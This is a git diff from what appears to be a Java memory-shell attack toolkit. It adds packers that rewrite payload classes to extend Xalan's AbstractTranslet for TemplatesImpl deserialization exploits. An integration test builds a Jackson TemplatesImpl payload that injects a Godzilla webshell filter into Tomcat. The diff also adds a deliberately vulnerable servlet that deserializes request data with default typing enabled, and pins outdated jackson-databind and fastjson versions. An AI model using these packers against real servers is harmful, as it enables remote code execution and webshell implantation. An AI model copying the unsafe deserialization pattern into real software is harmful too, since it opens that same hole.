diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index a4436664..69ebd420 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; +import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; @@ -126,6 +127,9 @@ public class ShellAssertion { " !!java.net.URL [\"file://" + jarPath + "\"]\n" + " ]]\n" + "]"; + } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { + String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); + content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; } else { content = packer.getInstance().pack(generateResult.toClassPackerConfig()); } @@ -395,6 +399,7 @@ public class ShellAssertion { case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); + case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content); default -> throw new IllegalStateException("Unexpected value: " + packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index d8c7ac32..319ecc0d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -53,7 +53,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker) ); } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java new file mode 100644 index 00000000..f0c04dab --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassSuperClassUtils.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +public class ClassSuperClassUtils { + + public static byte[] addSuperClass(byte[] bytes, String superClassName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddSuperClassAdapter(cw, superClassName.replace('.', '/')); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + static class AddSuperClassAdapter extends ClassVisitor { + private final String newSuperName; + + public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) { + super(Opcodes.ASM9, cv); + this.newSuperName = newSuperName; + } + + @Override + public void visit(int version, int access, String name, + String signature, String superName, String[] interfaces) { + if (!"java/lang/Object".equals(superName)) { + throw new IllegalStateException(String.format( + "Cannot add superclass to class '%s': it already extends '%s'.", name, superName + )); + } + super.visit(version, access, name, signature, newSuperName, interfaces); + } + + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if ("".equals(name)) { + return new ChangeConstructorAdapter(mv, newSuperName); + } + return mv; + } + } + + static class ChangeConstructorAdapter extends MethodVisitor { + private final String newSuperName; + + public ChangeConstructorAdapter(MethodVisitor mv, String newSuperName) { + super(Opcodes.ASM9, mv); + this.newSuperName = newSuperName; + } + + @Override + public void visitMethodInsn(int opcode, String owner, String name, + String descriptor, boolean isInterface) { + if (opcode == Opcodes.INVOKESPECIAL && + "java/lang/Object".equals(owner) && + "".equals(name)) { + super.visitMethodInsn(opcode, newSuperName, name, descriptor, isInterface); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + } +} \ No newline at end of file diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java new file mode 100644 index 00000000..c3b3dbca --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassSuperClassUtilsTest.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.asm; + +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.ClassReader; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +class ClassSuperClassUtilsTest { + @Test + void test() { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = new ByteBuddy().redefine(EmptySuperClass.class).make().getBytes(); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + assertEquals("java/lang/Object", new ClassReader(bytes).getSuperName()); + assertEquals(superClassName.replace(".", "/"), new ClassReader(newBytes).getSuperName()); + } + + @Test + void testException() { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = new ByteBuddy().redefine(SuperClass.class).make().getBytes(); + assertThrows(IllegalStateException.class, () -> ClassSuperClassUtils.addSuperClass(bytes, superClassName)); + } + + class EmptySuperClass { + + } + + class SuperClass extends EmptySuperClass { + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 6572ba16..646a079d 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -44,6 +44,10 @@ import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer; import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker; +import com.reajason.javaweb.packer.translet.AbstractTransletPacker; +import com.reajason.javaweb.packer.translet.JDKAbstractTransletPacker; +import com.reajason.javaweb.packer.translet.OracleAbstractTransletPacker; +import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; @@ -87,6 +91,11 @@ public enum Packers { */ BCEL(new BCELPacker()), + AbstractTranslet(new AbstractTransletPacker()), + JDKAbstractTransletPacker(new JDKAbstractTransletPacker(), AbstractTransletPacker.class), + XalanAbstractTransletPacker(new XalanAbstractTransletPacker(), AbstractTransletPacker.class), + OracleAbstractTransletPacker(new OracleAbstractTransletPacker(), AbstractTransletPacker.class), + /** * 脚本引擎打包器 */ @@ -94,6 +103,7 @@ public enum Packers { DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class), ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), + Rhino(new RhinoPacker()), /** diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java new file mode 100644 index 00000000..1dc674b1 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class AbstractTransletPacker implements AggregatePacker { +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java new file mode 100644 index 00000000..b6320810 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class JDKAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java new file mode 100644 index 00000000..ce278a81 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class OracleAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "com.oracle.wls.shaded.org.apache.xalan.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java new file mode 100644 index 00000000..e4f48383 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class XalanAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "org.apache.xalan.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index 735e03c9..5e7b5ddf 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -29,6 +29,9 @@ val filesToCopy = objects.fileCollection().from( dependencies { implementation("com.caucho:hessian:4.0.66") implementation("org.yaml:snakeyaml:1.27") + implementation("com.alibaba:fastjson:1.2.47") + implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0") + implementation("xalan:xalan:2.7.2") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) diff --git a/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java b/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java new file mode 100644 index 00000000..4d53d70d --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java @@ -0,0 +1,21 @@ +import com.fasterxml.jackson.databind.ObjectMapper; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +@WebServlet("/jackson") +public class JacksonServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + new ObjectMapper().enableDefaultTyping().readValue(data, Object.class); + } +}